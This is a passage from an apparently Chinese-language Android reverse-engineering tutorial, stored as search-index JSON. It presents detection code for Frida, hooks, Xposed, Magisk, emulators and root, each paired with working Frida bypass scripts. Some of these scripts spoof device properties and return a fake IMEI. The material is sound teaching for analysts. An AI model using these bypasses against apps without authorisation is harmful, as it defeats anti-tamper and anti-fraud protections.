","date":"2025-06-01","objectID":"/reverse_engineering/android/03-case-studies/case_anti_analysis_techniques/:3:0","tags":["Native层","浏览器指纹","签名验证","Frida","案例分析","SSL Pinning"],"title":"反分析技术案例","uri":"/reverse_engineering/android/03-case-studies/case_anti_analysis_techniques/#2-反-hook-anti-hooking"},{"categories":null,"collections":null,"content":"2.1 Frida 端口检测 Frida Server 默认监听 27042 端口，App 可以扫描本地端口来检测 Frida。 实现原理: // Native (C/C++) 实现 - Frida 端口检测 #include \u003cstdio.h\u003e #include \u003cstdlib.h\u003e #include \u003cstring.h\u003e #include \u003csys/socket.h\u003e #include \u003cnetinet/in.h\u003e #include \u003carpa/inet.h\u003e #include \u003cunistd.h\u003e #include \u003cerrno.h\u003e // Frida 默认端口 #define FRIDA_DEFAULT_PORT 27042 int check_frida_port() { int sock = socket(AF_INET, SOCK_STREAM, 0); if (sock \u003c 0) { return 0; } struct sockaddr_in addr; memset(\u0026addr, 0, sizeof(addr)); addr.sin_family = AF_INET; addr.sin_port = htons(FRIDA_DEFAULT_PORT); addr.sin_addr.s_addr = inet_addr(\"127.0.0.1\"); // 设置非阻塞连接超时 struct timeval timeout; timeout.tv_sec = 1; timeout.tv_usec = 0; setsockopt(sock, SOL_SOCKET, SO_SNDTIMEO, \u0026timeout, sizeof(timeout)); int result = connect(sock, (struct sockaddr*)\u0026addr, sizeof(addr)); close(sock); if (result == 0) { return 1; // Frida 端口开放 } return 0; } // 扫描多个可疑端口 int check_suspicious_ports() { int suspicious_ports[] = {27042, 27043, 27044, 27045, 4444}; int num_ports = sizeof(suspicious_ports) / sizeof(suspicious_ports[0]); for (int i = 0; i \u003c num_ports; i++) { int sock = socket(AF_INET, SOCK_STREAM, 0); if (sock \u003c 0) continue; struct sockaddr_in addr; memset(\u0026addr, 0, sizeof(addr)); addr.sin_family = AF_INET; addr.sin_port = htons(suspicious_ports[i]); addr.sin_addr.s_addr = inet_addr(\"127.0.0.1\"); struct timeval timeout = {0, 100000}; // 100ms setsockopt(sock, SOL_SOCKET, SO_SNDTIMEO, \u0026timeout, sizeof(timeout)); if (connect(sock, (struct sockaddr*)\u0026addr, sizeof(addr)) == 0) { close(sock); return 1; // 发现可疑端口 } close(sock); } return 0; } Java 层实现: // Java 实现 - Frida 端口检测 import java.net.Socket; import java.net.InetSocketAddress; public class FridaPortDetector { private static final int[] SUSPICIOUS_PORTS = {27042, 27043, 27044, 27045}; public static boolean detectFridaPort() { for (int port : SUSPICIOUS_PORTS) { try { Socket socket = new Socket(); socket.connect(new InetSocketAddress(\"127.0.0.1\", port), 100); socket.close(); return true; // 端口开放，可能是 Frida } catch (Exception e) { // 连接失败，继续检测下一个端口 } } return false; } } 绕过策略 - Frida Hook: // Frida 脚本 - 绕过端口检测 // 方法1: Hook connect 函数 Interceptor.attach(Module.findExportByName(\"libc.so\", \"connect\"), { onEnter: function(args) { var sockaddr = args[1]; var family = sockaddr.readU16(); if (family === 2) { // AF_INET var port = (sockaddr.add(2).readU8() \u003c\u003c 8) | sockaddr.add(3).readU8(); // 检测 Frida 端口 if (port === 27042 || port === 27043 || port === 27044) { console.log(\"[*] Blocking connect to Frida port: \" + port); // 修改端口为不存在的端口 sockaddr.add(2).writeU8(0xFF); sockaddr.add(3).writeU8(0xFF); } } } }); // 方法2: 使用自定义端口启动 Frida // frida-server -l 0.0.0.0:31337 ","date":"2025-06-01","objectID":"/reverse_engineering/android/03-case-studies/case_anti_analysis_techniques/:3:1","tags":["Native层","浏览器指纹","签名验证","Frida","案例分析","SSL Pinning"],"title":"反分析技术案例","uri":"/reverse_engineering/android/03-case-studies/case_anti_analysis_techniques/#21-frida-端口检测"},{"categories":null,"collections":null,"content":"2.2 内存映射检测 Frida 注入后会在进程内存中加载 frida-agent.so 等库，可以通过扫描 /proc/self/maps 检测。 实现原理: // Native (C/C++) 实现 - 内存映射检测 #include \u003cstdio.h\u003e #include \u003cstring.h\u003e #include \u003cstdlib.h\u003e typedef struct { const char* pattern; int is_regex; } DetectionPattern; static DetectionPattern frida_patterns[] = { {\"frida\", 0}, {\"gadget\", 0}, {\"gum-js-loop\", 0}, {\"gmain\", 0}, {\"linjector\", 0}, {\"/data/local/tmp\", 0}, {\"re.frida.server\", 0}, {\"pool-frida\", 0}, }; int check_frida_in_maps() { FILE *fp = fopen(\"/proc/self/maps\", \"r\"); if (fp == NULL) { return 0; } char line[512]; int num_patterns = sizeof(frida_patterns) / sizeof(frida_patterns[0]); while (fgets(line, sizeof(line), fp)) { // 转换为小写进行匹配 char lower_line[512]; for (int i = 0; line[i]; i++) { lower_line[i] = tolower(line[i]); } lower_line[strlen(line)] = '\\0'; for (int i = 0; i \u003c num_patterns; i++) { if (strstr(lower_line, frida_patterns[i].pattern)) { fclose(fp); return 1; // 检测到 Frida } } } fclose(fp); return 0; } // 检测内存中的 Frida 特征字符串 int check_frida_strings_in_memory() { FILE *fp = fopen(\"/proc/self/maps\", \"r\"); if (fp == NULL) return 0; char line[512]; while (fgets(line, sizeof(line), fp)) { // 解析内存区域 unsigned long start, end; char perms[5]; if (sscanf(line, \"%lx-%lx %4s\", \u0026start, \u0026end, perms) != 3) { continue; } // 只检查可读区域 if (perms[0] != 'r') continue; // 搜索 Frida 特征 char* region = (char*)start; size_t region_size = end - start; // 注意: 这种方法可能会崩溃，需要小心处理 // 实际实现需要使用 process_vm_readv 或其他安全方式 } fclose(fp); return 0; } 绕过策略 - Frida Hook: // Frida 脚本 - 绕过 maps 检测 var keywords = [\"frida\", \"gadget\", \"gum-js-loop\", \"gmain\", \"linjector\"]; Interceptor.attach(Module.findExportByName(\"libc.so\", \"fopen\"), { onEnter: function(args) { this.path = args[0].readCString(); }, onLeave: function(retval) { if (this.path \u0026\u0026 this.path.indexOf(\"maps\") !== -1) { this.isMaps = true; this.fd = retval; } } }); Interceptor.attach(Module.findExportByName(\"libc.so\", \"fgets\"), { onLeave: function(retval) { if (!retval.isNull()) { var line = retval.readCString(); if (line) { var shouldFilter = false; for (var i = 0; i \u003c keywords.length; i++) { if (line.toLowerCase().indexOf(keywords[i]) !== -1) { shouldFilter = true; break; } } if (shouldFilter) { // 用空行替换 retval.writeUtf8String(\"\\n\"); console.log(\"[*] Filtered maps line containing Frida\"); } } } } }); ","date":"2025-06-01","objectID":"/reverse_engineering/android/03-case-studies/case_anti_analysis_techniques/:3:2","tags":["Native层","浏览器指纹","签名验证","Frida","案例分析","SSL Pinning"],"title":"反分析技术案例","uri":"/reverse_engineering/android/03-case-studies/case_anti_analysis_techniques/#22-内存映射检测"},{"categories":null,"collections":null,"content":"2.3 Inline Hook 检测 检测关键函数的入口是否被修改（如插入跳转指令）。 实现原理: // Native (C/C++) 实现 - Inline Hook 检测 #include \u003cdlfcn.h\u003e #include \u003cstring.h\u003e #include \u003cstdint.h\u003e // ARM64 跳转指令特征 #define ARM64_BR_OPCODE 0xD61F0000 #define ARM64_BLR_OPCODE 0xD63F0000 #define ARM64_B_OPCODE 0x14000000 #define ARM64_B_MASK 0xFC000000 // x86_64 跳转指令特征 #define X86_JMP_REL32 0xE9 #define X86_JMP_ABS 0xFF int check_function_hook(void* func_ptr) { uint8_t* code = (uint8_t*)func_ptr; #if defined(__aarch64__) // ARM64 检测 uint32_t instruction = *(uint32_t*)code; // 检测 BR/BLR 指令 if ((instruction \u0026 0xFFFFFC1F) == ARM64_BR_OPCODE || (instruction \u0026 0xFFFFFC1F) == ARM64_BLR_OPCODE) { return 1; // 可能被 Hook } // 检测 B 指令 if ((instruction \u0026 ARM64_B_MASK) == ARM64_B_OPCODE) { return 1; } // 检测 LDR + BR 组合 (常见 Hook 方式) // LDR X16, #offset; BR X16 if ((instruction \u0026 0xFF000000) == 0x58000000) { uint32_t next_inst = *(uint32_t*)(code + 4); if ((next_inst \u0026 0xFFFFFFFF) == 0xD61F0200) { return 1; } } #elif defined(__x86_64__) || defined(__i386__) // x86/x64 检测 if (code[0] == X86_JMP_REL32) { // E9 xx xx xx xx return 1; } if (code[0] == X86_JMP_ABS \u0026\u0026 code[1] == 0x25) { // FF 25 xx xx xx xx return 1; } // 检测 push + ret (另一种 Hook 方式) if (code[0] == 0x68) { // push imm32 // 检查后面是否有 ret for (int i = 5; i \u003c 10; i++) { if (code[i] == 0xC3) { // ret return 1; } } } #endif return 0; } // 检测常见被 Hook 的函数 void check_common_hooks() { const char* targets[] = { \"open\", \"read\", \"write\", \"connect\", \"send\", \"recv\", \"ptrace\", \"kill\", \"exit\", \"fork\", \"execve\" }; void* libc = dlopen(\"libc.so\", RTLD_NOW); if (!libc) return; for (int i = 0; i \u003c sizeof(targets) / sizeof(targets[0]); i++) { void* func = dlsym(libc, targets[i]); if (func \u0026\u0026 check_function_hook(func)) { // 检测到 Hook exit(0); } } dlclose(libc); } 绕过策略: // Frida 脚本 - 使用 Stalker 避免 Inline Hook 检测 // Stalker 使用代码追踪而非修改原始指令 var targetModule = Process.findModuleByName(\"libtarget.so\"); Stalker.follow(Process.getCurrentThreadId(), { transform: function(iterator) { var instruction = iterator.next(); do { if (instruction.address.compare(targetModule.base) \u003e= 0 \u0026\u0026 instruction.address.compare(targetModule.base.add(targetModule.size)) \u003c 0) { // 在目标模块内，可以插入自定义代码 iterator.putCallout(function(context) { // 自定义逻辑 }); } iterator.keep(); } while ((instruction = iterator.next()) !== null); } }); // 或者使用 replace 替代 attach，更难被检测 var original = Module.findExportByName(\"libc.so\", \"open\"); var originalFunc = new NativeFunction(original, 'int', ['pointer', 'int']); Interceptor.replace(original, new NativeCallback(function(path, flags) { var pathStr = path.readCString(); console.log(\"[*] open: \" + pathStr); return originalFunc(path, flags); }, 'int', ['pointer', 'int'])); ","date":"2025-06-01","objectID":"/reverse_engineering/android/03-case-studies/case_anti_analysis_techniques/:3:3","tags":["Native层","浏览器指纹","签名验证","Frida","案例分析","SSL Pinning"],"title":"反分析技术案例","uri":"/reverse_engineering/android/03-case-studies/case_anti_analysis_techniques/#23-inline-hook-检测"},{"categories":null,"collections":null,"content":"2.4 Xposed 检测 检测 Xposed 框架是否安装和激活。 实现原理: // Java 实现 - Xposed 检测 import java.io.File; import java.lang.reflect.Method; import java.util.HashSet; import java.util.Set; public class XposedDetector { // 检测 Xposed 相关文件 public static boolean checkXposedFiles() { String[] paths = { \"/system/framework/XposedBridge.jar\", \"/system/lib/libxposed_art.so\", \"/system/lib64/libxposed_art.so\", \"/system/xposed.prop\", \"/data/data/de.robv.android.xposed.installer\", \"/data/data/org.lsposed.manager\", \"/data/adb/lspd\" }; for (String path : paths) { if (new File(path).exists()) { return true; } } return false; } // 检测 Xposed 类加载 public static boolean checkXposedClass() { try { Class.forName(\"de.robv.android.xposed.XposedBridge\"); return true; } catch (ClassNotFoundException e) { // Xposed 未加载 } try { Class.forName(\"de.robv.android.xposed.XposedHelpers\"); return true; } catch (ClassNotFoundException e) { // Xposed 未加载 } return false; } // 通过堆栈检测 Xposed Hook public static boolean checkXposedInStack() { StackTraceElement[] stackTrace = Thread.currentThread().getStackTrace(); for (StackTraceElement element : stackTrace) { String className = element.getClassName(); if (className.contains(\"xposed\") || className.contains(\"lsposed\") || className.contains(\"EdXposed\")) { return true; } } return false; } // 检测方法是否被 Hook (通过 Modifier) public static boolean isMethodHooked(Method method) { // Xposed Hook 后方法会变成 native if (method.getModifiers() != method.getModifiers()) { return true; } // 检查方法是否可访问性被修改 try { // 某些 Hook 框架会修改这个值 } catch (Exception e) { return true; } return false; } // 检测全局变量 public static boolean checkXposedGlobals() { try { Class\u003c?\u003e xposedBridge = Class.forName(\"de.robv.android.xposed.XposedBridge\"); java.lang.reflect.Field disableHooks = xposedBridge.getDeclaredField(\"disableHooks\"); disableHooks.setAccessible(true); return true; } catch (Exception e) { return false; } } } Native 层检测: // Native (C/C++) 实现 - Xposed 检测 #include \u003cdlfcn.h\u003e #include \u003clink.h\u003e int check_xposed_in_loaded_libs() { // 遍历已加载的共享库 FILE *fp = fopen(\"/proc/self/maps\", \"r\"); if (fp == NULL) return 0; char line[512]; while (fgets(line, sizeof(line), fp)) { if (strstr(line, \"XposedBridge\") || strstr(line, \"libxposed\") || strstr(line, \"lspd\") || strstr(line, \"riru\") || strstr(line, \"zygisk\")) { fclose(fp); return 1; } } fclose(fp); return 0; } // 检测 ART 方法结构是否被修改 int check_art_method_hook(void* art_method) { // ART 方法被 Xposed Hook 后，entry_point 会被修改 // 这需要了解 ART 内部结构，不同 Android 版本有差异 // 简化示例: 检查 entry_point 是否指向已知区域 // 实际实现需要根据具体 Android 版本调整 return 0; } 绕过策略 - Frida Hook: // Frida 脚本 - 绕过 Xposed 检测 Java.perform(function() { // Hook File.exists var File = Java.use(\"java.io.File\"); var xposedPaths = [ \"/system/framework/XposedBridge.jar\", \"/system/lib/libxposed_art.so\", \"/data/data/de.robv.android.xposed.installer\", \"/data/data/org.lsposed.manager\" ]; File.exists.implementation = function() { var path = this.getAbsolutePath(); for (var i = 0; i \u003c xposedPaths.length; i++) { if (path.indexOf(xposedPaths[i]) !== -1) { console.log(\"[*] Hiding Xposed file: \" + path); return false; } } return this.exists(); }; // Hook Class.forName var JavaClass = Java.use(\"java.lang.Class\"); JavaClass.forName.overload(\"java.lang.String\").implementation = function(name) { if (name.indexOf(\"xposed\") !== -1 || name.indexOf(\"lsposed\") !== -1) { console.log(\"[*] Blocking class load: \" + name); throw Java.use(\"java.lang.ClassNotFoundException\").$new(name); } return this.forName(name); }; // Hook getStackTrace var Thread = Java.use(\"java.lang.Thread\"); Thread.getStackTrace.implementation = function() { var stack = this.getStackTrace(); var filteredStack = []; for (var i = 0; i \u003c stack.length; i++) { var className = stack[i].getClassName(); if (className.indexOf(\"xposed\") === -1 \u0026\u0026 className.indexOf(\"lsposed\") === -1) { filteredStack.push(stack[i]); } } return Java.array(\"java.lang.StackTraceElement\", filteredStack); }; }); ","date":"2025-06-01","objectID":"/reverse_engineering/android/03-case-studies/case_anti_analysis_techniques/:3:4","tags":["Native层","浏览器指纹","签名验证","Frida","案例分析","SSL Pinning"],"title":"反分析技术案例","uri":"/reverse_engineering/android/03-case-studies/case_anti_analysis_techniques/#24-xposed-检测"},{"categories":null,"collections":null,"content":"2.5 Magisk 检测 检测 Magisk Root 框架。 实现原理: // Java 实现 - Magisk 检测 import java.io.File; import java.io.BufferedReader; import java.io.InputStreamReader; public class MagiskDetector { // 检测 Magisk 相关文件 public static boolean checkMagiskFiles() { String[] paths = { \"/sbin/.magisk\", \"/sbin/magisk\", \"/data/adb/magisk\", \"/data/adb/magisk.img\", \"/data/adb/magisk.db\", \"/data/data/com.topjohnwu.magisk\", \"/data/user_de/0/com.topjohnwu.magisk\" }; for (String path : paths) { if (new File(path).exists()) { return true; } } return false; } // 检测 MagiskHide/DenyList public static boolean checkMagiskHide() { try { // 执行 magisk 命令 Process process = Runtime.getRuntime().exec(\"magisk --hide status\"); BufferedReader reader = new BufferedReader( new InputStreamReader(process.getInputStream()) ); String line = reader.readLine(); process.waitFor(); return line != null; } catch (Exception e) { return false; } } // 通过挂载点检测 public static boolean checkMagiskMount() { try { BufferedReader reader = new BufferedReader( new java.io.FileReader(\"/proc/self/mounts\") ); String line; while ((line = reader.readLine()) != null) { if (line.contains(\"magisk\") || line.contains(\"/sbin/.\")) { reader.close(); return true; } } reader.close(); } catch (Exception e) { // 忽略 } return false; } // 检测 Zygisk public static boolean checkZygisk() { // Zygisk 会注入到 zygote 进程 String[] zygiskIndicators = { \"/data/adb/modules/zygisk\", \"/dev/zygisk\" }; for (String path : zygiskIndicators) { if (new File(path).exists()) { return true; } } return false; } } 绕过策略: // Frida 脚本 - 绕过 Magisk 检测 Java.perform(function() { // 隐藏 Magisk 文件 var magiskPaths = [ \"/sbin/.magisk\", \"/sbin/magisk\", \"/data/adb/magisk\", \"/data/data/com.topjohnwu.magisk\" ]; var File = Java.use(\"java.io.File\"); File.exists.implementation = function() { var path = this.getAbsolutePath(); for (var i = 0; i \u003c magiskPaths.length; i++) { if (path.indexOf(magiskPaths[i]) !== -1 || path.indexOf(\"magisk\") !== -1) { return false; } } return this.exists(); }; // Hook Runtime.exec 阻止 magisk 命令执行 var Runtime = Java.use(\"java.lang.Runtime\"); Runtime.exec.overload(\"java.lang.String\").implementation = function(cmd) { if (cmd.indexOf(\"magisk\") !== -1 || cmd.indexOf(\"su\") !== -1) { console.log(\"[*] Blocking command: \" + cmd); throw Java.use(\"java.io.IOException\").$new(\"Command not found\"); } return this.exec(cmd); }; }); // Native 层 Hook Interceptor.attach(Module.findExportByName(\"libc.so\", \"fopen\"), { onEnter: function(args) { var path = args[0].readCString(); if (path \u0026\u0026 (path.indexOf(\"magisk\") !== -1 || path.indexOf(\"/sbin/.\") !== -1)) { console.log(\"[*] Blocking fopen: \" + path); args[0].writeUtf8String(\"/nonexistent\"); } } }); ","date":"2025-06-01","objectID":"/reverse_engineering/android/03-case-studies/case_anti_analysis_techniques/:3:5","tags":["Native层","浏览器指纹","签名验证","Frida","案例分析","SSL Pinning"],"title":"反分析技术案例","uri":"/reverse_engineering/android/03-case-studies/case_anti_analysis_techniques/#25-magisk-检测"},{"categories":null,"collections":null,"content":"3. 反模拟器 (Anti-Emulator) 💡 思路一句话: 识别检测维度（系统属性/文件系统/传感器/电话功能）→ hook Build 属性和文件访问返回真机值 → 伪造传感器数据通过检测。 目标: 检测 App 是否运行在模拟器而非真实设备上。 ","date":"2025-06-01","objectID":"/reverse_engineering/android/03-case-studies/case_anti_analysis_techniques/:4:0","tags":["Native层","浏览器指纹","签名验证","Frida","案例分析","SSL Pinning"],"title":"反分析技术案例","uri":"/reverse_engineering/android/03-case-studies/case_anti_analysis_techniques/#3-反模拟器-anti-emulator"},{"categories":null,"collections":null,"content":"3.1 系统属性检测 模拟器通常会留下特有的系统属性。 实现原理: // Java 实现 - 系统属性检测 import android.os.Build; import android.os.SystemProperties; public class EmulatorDetector { public static boolean checkBuildProperties() { // 检查 Build 属性 String[] suspiciousProps = { Build.FINGERPRINT, Build.MODEL, Build.MANUFACTURER, Build.BRAND, Build.DEVICE, Build.PRODUCT, Build.HARDWARE }; String[] emulatorKeywords = { \"generic\", \"unknown\", \"emulator\", \"sdk\", \"google_sdk\", \"goldfish\", \"ranchu\", \"vbox\", \"genymotion\", \"andy\", \"nox\", \"bluestacks\", \"ttVM_Hdragon\", \"droid4x\" }; for (String prop : suspiciousProps) { if (prop == null) continue; String lowerProp = prop.toLowerCase(); for (String keyword : emulatorKeywords) { if (lowerProp.contains(keyword)) { return true; } } } return false; } // 检查特定系统属性 public static boolean checkSystemProperties() { String[] emulatorProps = { \"init.svc.qemud\", \"init.svc.qemu-props\", \"qemu.hw.mainkeys\", \"qemu.sf.fake_camera\", \"qemu.sf.lcd_density\", \"ro.kernel.android.qemud\", \"ro.kernel.qemu\", \"ro.kernel.qemu.gles\", \"ro.hardware.audio.primary\", \"ro.boot.qemu\" }; for (String prop : emulatorProps) { String value = getSystemProperty(prop); if (value != null \u0026\u0026 !value.isEmpty()) { return true; } } return false; } private static String getSystemProperty(String name) { try { Class\u003c?\u003e systemProperties = Class.forName(\"android.os.SystemProperties\"); java.lang.reflect.Method get = systemProperties.getMethod(\"get\", String.class); return (String) get.invoke(null, name); } catch (Exception e) { return null; } } } Native 层检测: // Native (C/C++) 实现 - 系统属性检测 #include \u003csys/system_properties.h\u003e #include \u003cstring.h\u003e typedef struct { const char* name; const char* value; // 如果为 NULL，表示检测属性是否存在 } PropCheck; static PropCheck emulator_props[] = { {\"ro.kernel.qemu\", NULL}, {\"ro.hardware\", \"goldfish\"}, {\"ro.hardware\", \"ranchu\"}, {\"ro.product.model\", \"sdk\"}, {\"ro.product.device\", \"generic\"}, {\"ro.build.flavor\", \"sdk\"}, {\"init.svc.qemud\", NULL}, {\"qemu.hw.mainkeys\", NULL}, }; int check_emulator_properties() { char value[PROP_VALUE_MAX]; int num_checks = sizeof(emulator_props) / sizeof(emulator_props[0]); for (int i = 0; i \u003c num_checks; i++) { if (__system_property_get(emulator_props[i].name, value) \u003e 0) { if (emulator_props[i].value == NULL) { // 属性存在即为模拟器 return 1; } if (strstr(value, emulator_props[i].value)) { return 1; } } } return 0; } ","date":"2025-06-01","objectID":"/reverse_engineering/android/03-case-studies/case_anti_analysis_techniques/:4:1","tags":["Native层","浏览器指纹","签名验证","Frida","案例分析","SSL Pinning"],"title":"反分析技术案例","uri":"/reverse_engineering/android/03-case-studies/case_anti_analysis_techniques/#31-系统属性检测"},{"categories":null,"collections":null,"content":"3.2 文件系统检测 检测模拟器特有的文件。 实现原理: // Native (C/C++) 实现 - 文件系统检测 #include \u003cstdio.h\u003e #include \u003cunistd.h\u003e #include \u003csys/stat.h\u003e static const char* emulator_files[] = { // QEMU 相关 \"/system/lib/libc_malloc_debug_qemu.so\", \"/sys/qemu_trace\", \"/system/bin/qemu-props\", \"/dev/socket/qemud\", \"/dev/qemu_pipe\", // Genymotion 相关 \"/dev/socket/genyd\", \"/dev/socket/baseband_genyd\", // Nox 相关 \"/fstab.nox\", \"/system/bin/nox-prop\", \"/system/lib/libnoxd.so\", // BlueStacks 相关 \"/system/bin/bstfolder\", \"/system/lib/libbluestacks.so\", // 通用 x86 模拟器 \"/system/lib/libhoudini.so\", // ARM 转译库 // VirtualBox 相关 \"/dev/vboxguest\", \"/dev/vboxuser\", }; int check_emulator_files() { int num_files = sizeof(emulator_files) / sizeof(emulator_files[0]); for (int i = 0; i \u003c num_files; i++) { if (access(emulator_files[i], F_OK) == 0) { return 1; // 文件存在 } } return 0; } // 检查 /proc/cpuinfo int check_cpuinfo() { FILE* fp = fopen(\"/proc/cpuinfo\", \"r\"); if (fp == NULL) return 0; char line[256]; while (fgets(line, sizeof(line), fp)) { // 模拟器通常使用 Intel 或 AMD 处理器 if (strstr(line, \"GenuineIntel\") || strstr(line, \"AuthenticAMD\")) { // 但某些真机也使用 x86，需要结合其他检测 } // 检测 Goldfish (QEMU) if (strstr(line, \"Goldfish\") || strstr(line, \"goldfish\")) { fclose(fp); return 1; } // 检测 Ranchu (新版 QEMU) if (strstr(line, \"ranchu\")) { fclose(fp); return 1; } } fclose(fp); return 0; } ","date":"2025-06-01","objectID":"/reverse_engineering/android/03-case-studies/case_anti_analysis_techniques/:4:2","tags":["Native层","浏览器指纹","签名验证","Frida","案例分析","SSL Pinning"],"title":"反分析技术案例","uri":"/reverse_engineering/android/03-case-studies/case_anti_analysis_techniques/#32-文件系统检测"},{"categories":null,"collections":null,"content":"3.3 传感器检测 真实设备有物理传感器，模拟器通常没有或返回固定值。 实现原理: // Java 实现 - 传感器检测 import android.content.Context; import android.hardware.Sensor; import android.hardware.SensorEvent; import android.hardware.SensorEventListener; import android.hardware.SensorManager; public class SensorEmulatorDetector { private Context context; private SensorManager sensorManager; private boolean isEmulator = false; public SensorEmulatorDetector(Context context) { this.context = context; this.sensorManager = (SensorManager) context.getSystemService(Context.SENSOR_SERVICE); } // 检查传感器数量 public boolean checkSensorCount() { java.util.List\u003cSensor\u003e sensors = sensorManager.getSensorList(Sensor.TYPE_ALL); // 真机通常有多个传感器，模拟器可能很少或没有 if (sensors.size() \u003c 5) { return true; // 可能是模拟器 } // 检查关键传感器是否存在 Sensor accelerometer = sensorManager.getDefaultSensor(Sensor.TYPE_ACCELEROMETER); Sensor gyroscope = sensorManager.getDefaultSensor(Sensor.TYPE_GYROSCOPE); Sensor magnetometer = sensorManager.getDefaultSensor(Sensor.TYPE_MAGNETIC_FIELD); if (accelerometer == null \u0026\u0026 gyroscope == null \u0026\u0026 magnetometer == null) { return true; } return false; } // 监听传感器数据，检测固定值 public void startSensorMonitoring() { Sensor accelerometer = sensorManager.getDefaultSensor(Sensor.TYPE_ACCELEROMETER); if (accelerometer == null) { isEmulator = true; return; } SensorEventListener listener = new SensorEventListener() { private float[] lastValues = null; private int unchangedCount = 0; @Override public void onSensorChanged(SensorEvent event) { if (lastValues == null) { lastValues = event.values.clone(); return; } // 检查值是否完全相同（模拟器常见） if (lastValues[0] == event.values[0] \u0026\u0026 lastValues[1] == event.values[1] \u0026\u0026 lastValues[2] == event.values[2]) { unchangedCount++; if (unchangedCount \u003e 10) { isEmulator = true; } } else { unchangedCount = 0; } lastValues = event.values.clone(); } @Override public void onAccuracyChanged(Sensor sensor, int accuracy) {} }; sensorManager.registerListener(listener, accelerometer, SensorManager.SENSOR_DELAY_NORMAL); } } ","date":"2025-06-01","objectID":"/reverse_engineering/android/03-case-studies/case_anti_analysis_techniques/:4:3","tags":["Native层","浏览器指纹","签名验证","Frida","案例分析","SSL Pinning"],"title":"反分析技术案例","uri":"/reverse_engineering/android/03-case-studies/case_anti_analysis_techniques/#33-传感器检测"},{"categories":null,"collections":null,"content":"3.4 电话功能检测 模拟器通常没有真实的电话功能。 实现原理: // Java 实现 - 电话功能检测 import android.content.Context; import android.telephony.TelephonyManager; public class TelephonyEmulatorDetector { public static boolean checkTelephony(Context context) { TelephonyManager tm = (TelephonyManager) context.getSystemService(Context.TELEPHONY_SERVICE); if (tm == null) { return true; } // 检查网络运营商 String networkOperator = tm.getNetworkOperatorName(); if (networkOperator != null) { String lower = networkOperator.toLowerCase(); if (lower.equals(\"android\") || lower.contains(\"emulator\")) { return true; } } // 检查 IMEI (需要权限) try { String deviceId = tm.getDeviceId(); if (deviceId != null) { // 模拟器常见的 IMEI if (deviceId.equals(\"000000000000000\") || deviceId.equals(\"012345678912345\") || deviceId.startsWith(\"00000\")) { return true; } } } catch (SecurityException e) { // 没有权限 } // 检查电话号码 try { String phoneNumber = tm.getLine1Number(); if (phoneNumber != null) { if (phoneNumber.equals(\"15555215554\") || // 默认模拟器号码 phoneNumber.startsWith(\"155552\")) { return true; } } } catch (SecurityException e) { // 没有权限 } return false; } } 绕过策略 - Frida Hook: // Frida 脚本 - 绕过模拟器检测 Java.perform(function() { // 1. Hook Build 属性 var Build = Java.use(\"android.os.Build\"); // 设置为真机属性 Build.FINGERPRINT.value = \"samsung/dreamltexx/dreamlte:9/PPR1.180610.011/G950FXXS5DSL1:user/release-keys\"; Build.MODEL.value = \"SM-G950F\"; Build.MANUFACTURER.value = \"samsung\"; Build.BRAND.value = \"samsung\"; Build.DEVICE.value = \"dreamlte\"; Build.PRODUCT.value = \"dreamltexx\"; Build.HARDWARE.value = \"samsungexynos8895\"; console.log(\"[*] Build properties spoofed\"); // 2. Hook SystemProperties var SystemProperties = Java.use(\"android.os.SystemProperties\"); SystemProperties.get.overload(\"java.lang.String\").implementation = function(key) { var emulatorKeys = [\"ro.kernel.qemu\", \"qemu.hw.mainkeys\", \"ro.boot.qemu\"]; if (emulatorKeys.indexOf(key) !== -1) { console.log(\"[*] Hiding property: \" + key); return \"\"; } return this.get(key); }; // 3. Hook 文件检测 var File = Java.use(\"java.io.File\"); File.exists.implementation = function() { var path = this.getAbsolutePath(); var emulatorFiles = [ \"qemu\", \"genymotion\", \"nox\", \"bluestacks\", \"vbox\", \"goldfish\", \"ranchu\" ]; for (var i = 0; i \u003c emulatorFiles.length; i++) { if (path.toLowerCase().indexOf(emulatorFiles[i]) !== -1) { console.log(\"[*] Hiding emulator file: \" + path); return false; } } return this.exists(); }; // 4. Hook TelephonyManager var TelephonyManager = Java.use(\"android.telephony.TelephonyManager\"); TelephonyManager.getDeviceId.overload().implementation = function() { var fakeImei = \"358240051111110\"; console.log(\"[*] Returning fake IMEI: \" + fakeImei); return fakeImei; }; TelephonyManager.getNetworkOperatorName.implementation = function() { return \"China Mobile\"; }; // 5. Hook SensorManager var SensorManager = Java.use(\"android.hardware.SensorManager\"); SensorManager.getSensorList.implementation = function(type) { var result = this.getSensorList(type); console.log(\"[*] getSensorList called, returning \" + result.size() + \" sensors\"); return result; }; }); ","date":"2025-06-01","objectID":"/reverse_engineering/android/03-case-studies/case_anti_analysis_techniques/:4:4","tags":["Native层","浏览器指纹","签名验证","Frida","案例分析","SSL Pinning"],"title":"反分析技术案例","uri":"/reverse_engineering/android/03-case-studies/case_anti_analysis_techniques/#34-电话功能检测"},{"categories":null,"collections":null,"content":"4. Root 检测 (Root Detection) 💡 思路一句话: 识别检测方式（su 文件/Magisk 路径/执行权限/Native 层 fopen）→ hook 文件访问和命令执行使其找不到 Root 痕迹 → 验证绕过效果。 目标: 检测设备是否已被 Root。 ","date":"2025-06-01","objectID":"/reverse_engineering/android/03-case-studies/case_anti_analysis_techniques/:5:0","tags":["Native层","浏览器指纹","签名验证","Frida","案例分析","SSL Pinning"],"title":"反分析技术案例","uri":"/reverse_engineering/android/03-case-studies/case_anti_analysis_techniques/#4-root-检测-root-detection"},{"categories":null,"collections":null,"content":"4.1 常见 Root 文件检测 实现原理: // Java 实现 - Root 文件检测 import java.io.File; public class RootDetector { // su 二进制文件路径 private static final String[] SU_PATHS = { \"/system/bin/su\", \"/system/xbin/su\", \"/sbin/su\", \"/system/su\", \"/system/bin/.ext/.su\", \"/system/usr/we-need-root/su-backup\", \"/system/xbin/mu\", \"/data/local/xbin/su\", \"/data/local/bin/su\", \"/data/local/su\", \"/su/bin/su\", \"/magisk/.core/bin/su\" }; // Root 管理应用 private static final String[] ROOT_PACKAGES = { \"com.topjohnwu.magisk\", \"com.koushikdutta.superuser\", \"eu.chainfire.supersu\", \"com.noshufou.android.su\", \"com.thirdparty.superuser\", \"com.yellowes.su\" }; // 危险应用 private static final String[] DANGEROUS_PACKAGES = { \"com.chelpus.lackypatch\", \"com.ramdroid.appquarantine\", \"com.devadvance.rootcloak\", \"com.devadvance.rootcloakplus\", \"de.robv.android.xposed.installer\", \"org.lsposed.manager\" }; public static boolean checkSuBinary() { for (String path : SU_PATHS) { if (new File(path).exists()) { return true; } } return false; } public static boolean checkSuCommand() { try { Process process = Runtime.getRuntime().exec(new String[]{\"which\", \"su\"}); 